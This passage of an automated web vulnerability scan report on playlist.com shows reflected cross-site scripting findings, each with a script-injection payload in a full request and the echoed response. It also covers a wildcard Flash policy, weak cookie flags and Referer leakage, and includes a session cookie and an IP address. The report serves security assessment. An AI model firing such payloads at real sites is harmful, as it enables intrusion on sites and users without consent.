1.9. http://www.playlist.com/searchbeta/tracks [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.playlist.com
Path:   /searchbeta/tracks

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript rest-of-line comment. The payload c4b02</script><script>alert(1)</script>b11ec580032 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /searchbeta/tracksc4b02</script><script>alert(1)</script>b11ec580032 HTTP/1.1
Host: www.playlist.com
Proxy-Connection: keep-alive
Referer: http://www.playlist.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SSLB=A; PHPSESSID=46aidea0pqb5o6aic0ji80nirb8vrm7h; nuid=CgABmE5lP5gcowuJEfELAg==; __qca=P0-988598008-1315276269543; __utma=172958434.689339401.1315276270.1315276270.1315276270.1; __utmb=172958434.3.9.1315276449506; __utmc=172958434; __utmz=172958434.1315276270.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=music; __utmv=172958434.lload

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.61
Date: Mon, 05 Sep 2011 21:34:56 GMT
Content-Type: text/html;charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store
Pragma: no-cache
X-Robots-Tag: index, follow
Content-Language:
Vary: Accept-Encoding
Content-Length: 13100


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.c
...[SNIP]...
script.load( document.location.protocol == "https:" ? "https://sb" : "http://b" + ".scorecardresearch.com/beacon.js", PPL.script.comscore_analytics );

           //PPL.script.ga_page = '/page_not_found/tracksc4b02</script><script>alert(1)</script>b11ec580032';;
           //PPL.script.load( "http://www.google-analytics.com/ga.js", PPL.script.google_analytics) ;
           PPL.script.filename = null;            PPL.script.load( "http://edge.quantserve.com/quant.js", PPL.script.qu
...[SNIP]...

1.10. http://www.playlist.com/searchbeta/tracks [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.playlist.com
Path:   /searchbeta/tracks

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 98694</script><script>alert(1)</script>36f50625d52 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /searchbeta/tracks98694</script><script>alert(1)</script>36f50625d52 HTTP/1.1
Host: www.playlist.com
Proxy-Connection: keep-alive
Referer: http://www.playlist.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SSLB=A; PHPSESSID=46aidea0pqb5o6aic0ji80nirb8vrm7h; nuid=CgABmE5lP5gcowuJEfELAg==; __qca=P0-988598008-1315276269543; __utma=172958434.689339401.1315276270.1315276270.1315276270.1; __utmb=172958434.3.9.1315276449506; __utmc=172958434; __utmz=172958434.1315276270.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=music; __utmv=172958434.lload

Response

HTTP/1.1 404 Not Found
Server: nginx/0.7.61
Date: Mon, 05 Sep 2011 21:34:52 GMT
Content-Type: text/html;charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store
Pragma: no-cache
X-Robots-Tag: index, follow
Content-Language:
Vary: Accept-Encoding
Content-Length: 13100


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.c
...[SNIP]...
global_videosEnabled = 0;
var player_default_flashvars = "";
var SEARCH_VER = '2';
var Meebo;
var has_player = 0;
var has_adaptv = false;
var STIME = '1315258492';
var GA_PAGE = '/page_not_found/tracks98694</script><script>alert(1)</script>36f50625d52';
var ENABLE_GOOGLE_SEARCH_ADS = 0;
var GOOGLE_ADTERMS = '';
var debug_security = '';var debug_solr = '';var debug_jstest = '';var debug_audioads = '';var debug_comp_ad = '';var debug_subscribed = '';
...[SNIP]...

2. Flash cross-domain policy  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.playlist.com
Path:   /crossdomain.xml

Issue detail

The application publishes a Flash cross-domain policy which uses a wildcard to specify allowed domains, and allows access from specific other domains.

Using a wildcard to specify allowed domains means that any domain matching the wildcard expression can perform two-way interaction with this application. You should only use this policy if you fully trust every possible web site that may reside on a domain which matches the wildcard expression.

Allowing access from specific domains means that web sites on those domains can perform two-way interaction with this application. You should only use this policy if you fully trust the specific domains allowed by the policy.

Issue background

The Flash cross-domain policy controls whether Flash client components running on other domains can perform two-way interaction with the domain which publishes the policy. If another domain is allowed by the policy, then that domain can potentially attack users of the application. If a user is logged in to the application, and visits a domain allowed by the policy, then any malicious content running on that domain can potentially gain full access to the application within the security context of the logged in user.

Even if an allowed domain is not overtly malicious in itself, security vulnerabilities within that domain could potentially be leveraged by a third-party attacker to exploit the trust relationship and attack the application which allows access.

Issue remediation

You should review the domains which are allowed by the Flash cross-domain policy and determine whether it is appropriate for the application to fully trust both the intentions and security posture of those domains.

Request

GET /crossdomain.xml HTTP/1.0
Host: www.playlist.com

Response

HTTP/1.1 200 OK
Server: nginx/0.7.61
Date: Mon, 05 Sep 2011 21:31:06 GMT
Content-Type: text/xml
Connection: close
Last-Modified: Mon, 08 Feb 2010 04:50:34 GMT
Accept-Ranges: bytes
Content-Length: 1520
Cache-Control: max-age=14400
Expires: Tue, 06 Sep 2011 01:31:06 GMT
Vary: Accept-Encoding

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE cross-domain-policy
SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*.playlist.com"/>
<allow-access-from domain="*.pplaylist.com"/>
<allow-access-from domain="*.he.playlist.com"/>
<allow-access-from domain="nigma3d.s3.amazonaws.com"/>
<allow-access-from domain="*.indimusic.us"/>
<allow-access-from domain="*.musicplaylist.net"/>
<allow-access-from domain="*.greatprofilemusic.com"/>
<allow-access-from domain="*.musicplaylist.us"/>
<allow-access-from domain="*.profilelist.net"/>
<allow-access-from domain="*.playlistproject.net"/>
<allow-access-from domain="*.myspacemusicplaylist.com"/>
<allow-access-from domain="*.myspaceplaylist.com"/>
<allow-access-from domain="*.myspaceplaylists.com"/>
<allow-access-from domain="*.profilemusic.org"/>
<allow-access-from domain="*.profileplaylist.net"/>
<allow-access-from domain="*.musicmyspace.org"/>
<allow-access-from domain="*.musiclist.us"/>
<allow-access-from domain="*.myplaylist.org"/>
<allow-access-from domain="*.radleymarx.com"/>
<allow-access-from domain="*.projectplaylist.org"/>
<allow-access-from domain="*.projectplaylist.com"/>
<allow-access-from domain="*.dev.he.playlist.com"/>
<allow-access-from domain="www.youtube.com" />
<allow-access-from domain="i.ytimg.com" />
<allow-access-from domain="*.gigya.com" />
<allow-access-from domain="*.amazon.com" />
...[SNIP]...

3. Cookie scoped to parent domain  previous  next
There are 2 instances of this issue:

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.


3.1. http://www.playlist.com/prod/scripts/67/opt/std_opt.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.playlist.com
Path:   /prod/scripts/67/opt/std_opt.js

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /prod/scripts/67/opt/std_opt.js HTTP/1.1
Host: www.playlist.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.playlist.com/searchbeta/tracksc4b02%3C/script%3E%3Cscript%3Eprompt(%22Fool!%22)%3C/script%3Eb11ec580032

Response

HTTP/1.1 200 OK
Server: nginx/0.7.61
Date: Mon, 05 Sep 2011 21:35:54 GMT
Content-Type: application/x-javascript
Content-Length: 360782
Last-Modified: Fri, 26 Aug 2011 21:56:03 GMT
Connection: keep-alive
Expires: Wed, 05 Oct 2011 21:35:54 GMT
Cache-Control: max-age=2592000
Set-Cookie: nuid=CgABmU5lQLpPtAuYEbTWAg==; expires=Tue, 04-Sep-12 21:35:54 GMT; domain=.playlist.com; path=/
Accept-Ranges: bytes

/*
* jQuery JavaScript Library v1.3.2
* http://jquery.com/
*
* Copyright (c) 2009 John Resig
* Dual licensed under the MIT and GPL licenses.
* http://docs.jquery.com/License
*
* Date: 2009-02-
...[SNIP]...

3.2. http://www.playlist.com/scripts/remote_logger.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.playlist.com
Path:   /scripts/remote_logger.js

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /scripts/remote_logger.js HTTP/1.1
Host: www.playlist.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.playlist.com/searchbeta/tracksc4b02%3C/script%3E%3Cscript%3Eprompt(%22Fool!%22)%3C/script%3Eb11ec580032

Response

HTTP/1.1 200 OK
Server: nginx/0.7.61
Date: Mon, 05 Sep 2011 21:35:54 GMT
Content-Type: application/x-javascript
Connection: keep-alive
Last-Modified: Tue, 31 May 2011 21:49:24 GMT
Accept-Ranges: bytes
Cache-Control: max-age=604800
Expires: Mon, 12 Sep 2011 21:35:54 GMT
Vary: Accept-Encoding
Content-Length: 1127
Set-Cookie: nuid=CgABmU5lQLpPtAuYEbTXAg==; expires=Tue, 04-Sep-12 21:35:54 GMT; domain=.playlist.com; path=/

RemoteLogger = {
   remote_event_url:DOMAIN_LOGGING+'/_.gif',
   logGAEvent: function(category, action, optional_label, optional_value) {
       // We're assuming that pageTracker is initialized on the page
       
...[SNIP]...

4. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.playlist.com
Path:   /async/searchbeta/tracks

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /async/searchbeta/tracks?searchfor=xss&page=1&facet=all&_=1315276455668 HTTP/1.1
Host: www.playlist.com
Proxy-Connection: keep-alive
Referer: http://www.playlist.com/searchbeta/tracks
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/javascript, application/javascript, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SSLB=A; PHPSESSID=46aidea0pqb5o6aic0ji80nirb8vrm7h; nuid=CgABmE5lP5gcowuJEfELAg==; __qca=P0-988598008-1315276269543; __utma=172958434.689339401.1315276270.1315276270.1315276270.1; __utmb=172958434.3.9.1315276449506; __utmc=172958434; __utmz=172958434.1315276270.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=music; __utmv=172958434.lload; ppls=%7B%22agent%22%3A%22Mozilla5.0WindowsNT6.1%3BWOW64AppleWebKit535.1KHTML%2ClikeGeckoChrome13.0.782.220Safari535.1%22%2C%22ts%22%3A1315258449%2C%22ip%22%3A%2250.23.123.106%22%2C%22hash%22%3A%22b9c929526582ed85ac50b5774170b5b3db76c779e0dd6c00b76ad7e12d675a71fddc18578ae64b0d3cd78573541ab7a57b%22%7D; __unam=fb7ece9-1323c95f43f-6314a5f8-1

Response

HTTP/1.1 200 OK
Server: nginx/0.7.61
Date: Mon, 05 Sep 2011 21:34:16 GMT
Content-Type: text/plain;charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store
Pragma: no-cache
X-Robots-Tag: noindex, nofollow
Content-Language: en
Vary: Accept-Encoding
Content-Length: 4824


try {
   PPL.search.trackdata = [{"linkid":1069801489,"trackid":1069801492,"can_play":1,"status":1,"artist":"Tom Olzak","album":"","title":"Episode 34 - Web Application Security, P
...[SNIP]...
<a href="http://www.playlist.com/searchbeta/tracks#Tom%20Olzak" class="album album-ppl"><img src="http://static.pplaylist.com/img/elements/album-art.gif" alt="No album art" /></a><iframe class="fb-like" src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.playlist.com%2Fplaylist%2Fadditem%2F1069801489%3Futm_source%3Dfacebook%26utm_medium%3Dlikebutton%26utm_campaign%3Dsearchbuttons&amp;layout=button_count&amp;show_faces=false&amp;width=50&amp;action=like&amp;font=arial&amp;colorscheme=light" scrolling="no" frameborder="0" allowTransparency="true"></iframe>
...[SNIP]...
<a id="ck_facebook_1069801489" class="chicklet" href="javascript:void(0);" title="Share this song on Facebook"><img src="http://static.pplaylist.com/img/phoenix/icons/facebook_16.png" width="16" height="16"/></a></li><li><a id="ck_twitter_1069801489" class="chicklet" href="javascript:void(0);" title="Share this song on Twitter"><img src="http://static.pplaylist.com/img/phoenix/icons/twitter_16.png" width="16" height="16"/></a></li><li><a id="ck_email_1069801489" class="chicklet" href="javascript:void(0);" title="Email this song to friends"><img src="http://static.pplaylist.com/img/phoenix/icons/icon_email_16.png" width="16" height="16" /></a>
...[SNIP]...
<h2><img src="http://static.pplaylist.com/img/elements/loading.gif" alt="Loading Results" width="16" height="16" />Loading Results...</h2>
...[SNIP]...

5. Cross-domain script include  previous  next
There are 3 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


5.1. http://www.playlist.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.playlist.com
Path:   /

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET / HTTP/1.1
Host: www.playlist.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=music
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: nginx/0.7.61
Date: Mon, 05 Sep 2011 21:31:05 GMT
Content-Type: text/html;charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store
Pragma: no-cache
X-Robots-Tag: index, follow
Content-Language: en_US
Vary: Accept-Encoding
Content-Length: 26244


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.c
...[SNIP]...
<div id="pencil-ad">
   <script type="text/javascript" src="http://ad.doubleclick.net/adj/proj.playlist/frontpage;tile=0;sz=980x30,1x1;ord=983563683;mtfIFPath=/ext/doubleclick/;a=26;g=h;?"></script>
...[SNIP]...
</script>
   
<script type="text/javascript" src="http://www.google-analytics.com/ga.js"></script>
...[SNIP]...

5.2. http://www.playlist.com/prod/scripts/67/opt/std_opt.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.playlist.com
Path:   /prod/scripts/67/opt/std_opt.js

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /prod/scripts/67/opt/std_opt.js HTTP/1.1
Host: www.playlist.com
Proxy-Connection: keep-alive
Referer: http://www.playlist.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SSLB=A; PHPSESSID=46aidea0pqb5o6aic0ji80nirb8vrm7h; nuid=CgABmE5lP5gcowuJEfELAg==

Response

HTTP/1.1 200 OK
Server: nginx/0.7.61
Date: Mon, 05 Sep 2011 21:31:05 GMT
Content-Type: application/x-javascript
Content-Length: 360782
Last-Modified: Fri, 26 Aug 2011 21:56:03 GMT
Connection: keep-alive
Expires: Wed, 05 Oct 2011 21:31:05 GMT
Cache-Control: max-age=2592000
Accept-Ranges: bytes

/*
* jQuery JavaScript Library v1.3.2
* http://jquery.com/
*
* Copyright (c) 2009 John Resig
* Dual licensed under the MIT and GPL licenses.
* http://docs.jquery.com/License
*
* Date: 2009-02-
...[SNIP]...
<iframe id="'+p.attr("refid")+'" src="http://ad.doubleclick.net/adi/'+src+'?" width="{W}" height="'+a+'" marginwidth="0" marginheight="0" frameborder="0" scrolling="no"><script type="text/javascript" src="http://ad.doubleclick.net/adj/'+src+'?"><\/script>
...[SNIP]...

5.3. http://www.playlist.com/searchbeta/tracks  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.playlist.com
Path:   /searchbeta/tracks

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /searchbeta/tracks HTTP/1.1
Host: www.playlist.com
Proxy-Connection: keep-alive
Referer: http://www.playlist.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SSLB=A; PHPSESSID=46aidea0pqb5o6aic0ji80nirb8vrm7h; nuid=CgABmE5lP5gcowuJEfELAg==; __qca=P0-988598008-1315276269543; __utma=172958434.689339401.1315276270.1315276270.1315276270.1; __utmb=172958434.3.9.1315276449506; __utmc=172958434; __utmz=172958434.1315276270.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=music; __utmv=172958434.lload

Response

HTTP/1.1 200 OK
Server: nginx/0.7.61
Date: Mon, 05 Sep 2011 21:34:11 GMT
Content-Type: text/html;charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store
Pragma: no-cache
X-Robots-Tag: index, follow
Content-Language: en_US
Vary: Accept-Encoding
Content-Length: 26991


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.c
...[SNIP]...
</script>
    <script type="text/javascript" src="http://w.sharethis.com/button/sharethis.js#publisher=8a4b9c3b-38f7-4fbc-8b18-a77d1268d18f&amp;type=website&amp;button=false&amp;tracking=google"></script>
...[SNIP]...
;kw=466b18b5729d0b56343feda4;tile=1;sz=300x250;ord=831288869;mtfIFPath=/ext/doubleclick/;a=26;g=h;dcopt=ist;?" width="300" height="250" marginwidth="0" marginheight="0" frameborder="0" scrolling="no">
<script type="text/javascript" src="http://ad.doubleclick.net/adj/proj.playlist/search;kw=466b18b5729d0b56343feda4;tile=1;sz=300x250;abr=!ie;ord=831288869;mtfIFPath=/ext/doubleclick/;a=26;g=h;dcopt=ist;?"></script>
...[SNIP]...
roj.playlist/search-playlist;tile=2;sz=300x250;ord=831288869;mtfIFPath=/ext/doubleclick/;a=26;g=h;dcopt=ist;?" width="300" height="250" marginwidth="0" marginheight="0" frameborder="0" scrolling="no">
<script type="text/javascript" src="http://ad.doubleclick.net/adj/proj.playlist/search-playlist;tile=2;sz=300x250;abr=!ie;ord=831288869;mtfIFPath=/ext/doubleclick/;a=26;g=h;dcopt=ist;?"></script>
...[SNIP]...
</script>
   
<script type="text/javascript" src="http://www.google-analytics.com/ga.js"></script>
...[SNIP]...

6. Cookie without HttpOnly flag set  previous  next
There are 2 instances of this issue:

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.



6.1. http://www.playlist.com/prod/scripts/67/opt/std_opt.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.playlist.com
Path:   /prod/scripts/67/opt/std_opt.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /prod/scripts/67/opt/std_opt.js HTTP/1.1
Host: www.playlist.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.playlist.com/searchbeta/tracksc4b02%3C/script%3E%3Cscript%3Eprompt(%22Fool!%22)%3C/script%3Eb11ec580032

Response

HTTP/1.1 200 OK
Server: nginx/0.7.61
Date: Mon, 05 Sep 2011 21:35:54 GMT
Content-Type: application/x-javascript
Content-Length: 360782
Last-Modified: Fri, 26 Aug 2011 21:56:03 GMT
Connection: keep-alive
Expires: Wed, 05 Oct 2011 21:35:54 GMT
Cache-Control: max-age=2592000
Set-Cookie: nuid=CgABmU5lQLpPtAuYEbTWAg==; expires=Tue, 04-Sep-12 21:35:54 GMT; domain=.playlist.com; path=/
Accept-Ranges: bytes

/*
* jQuery JavaScript Library v1.3.2
* http://jquery.com/
*
* Copyright (c) 2009 John Resig
* Dual licensed under the MIT and GPL licenses.
* http://docs.jquery.com/License
*
* Date: 2009-02-
...[SNIP]...

6.2. http://www.playlist.com/scripts/remote_logger.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.playlist.com
Path:   /scripts/remote_logger.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /scripts/remote_logger.js HTTP/1.1
Host: www.playlist.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.playlist.com/searchbeta/tracksc4b02%3C/script%3E%3Cscript%3Eprompt(%22Fool!%22)%3C/script%3Eb11ec580032

Response

HTTP/1.1 200 OK
Server: nginx/0.7.61
Date: Mon, 05 Sep 2011 21:35:54 GMT
Content-Type: application/x-javascript
Connection: keep-alive
Last-Modified: Tue, 31 May 2011 21:49:24 GMT
Accept-Ranges: bytes
Cache-Control: max-age=604800
Expires: Mon, 12 Sep 2011 21:35:54 GMT
Vary: Accept-Encoding
Content-Length: 1127
Set-Cookie: nuid=CgABmU5lQLpPtAuYEbTXAg==; expires=Tue, 04-Sep-12 21:35:54 GMT; domain=.playlist.com; path=/

RemoteLogger = {
   remote_event_url:DOMAIN_LOGGING+'/_.gif',
   logGAEvent: function(category, action, optional_label, optional_value) {
       // We're assuming that pageTracker is initialized on the page
       
...[SNIP]...

7. Robots.txt file  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.playlist.com
Path:   /

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: www.playlist.com

Response

HTTP/1.1 200 OK
Server: nginx/0.7.61
Date: Mon, 05 Sep 2011 21:31:06 GMT
Content-Type: text/plain; charset=UTF-8
Connection: close
Last-Modified: Wed, 16 Sep 2009 18:33:35 GMT
Accept-Ranges: bytes
Content-Length: 385
Cache-Control: max-age=604800
Expires: Mon, 12 Sep 2011 21:31:06 GMT
Vary: Accept-Encoding

User-agent: *
Disallow: /async
Disallow: /misc
Disallow: /mail
Disallow: /admin
Disallow: */connections/add
Disallow: /user/favorites
Disallow: */dashboard
Disallow: */edit
Disallow: /user/forward
Dis
...[SNIP]...

8. HTML does not specify charset  previous  next
There are 3 instances of this issue:

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.


8.1. http://www.playlist.com/scomplete/x.html  previous  next

Summary

Severity:   Information
Confidence:   Certain
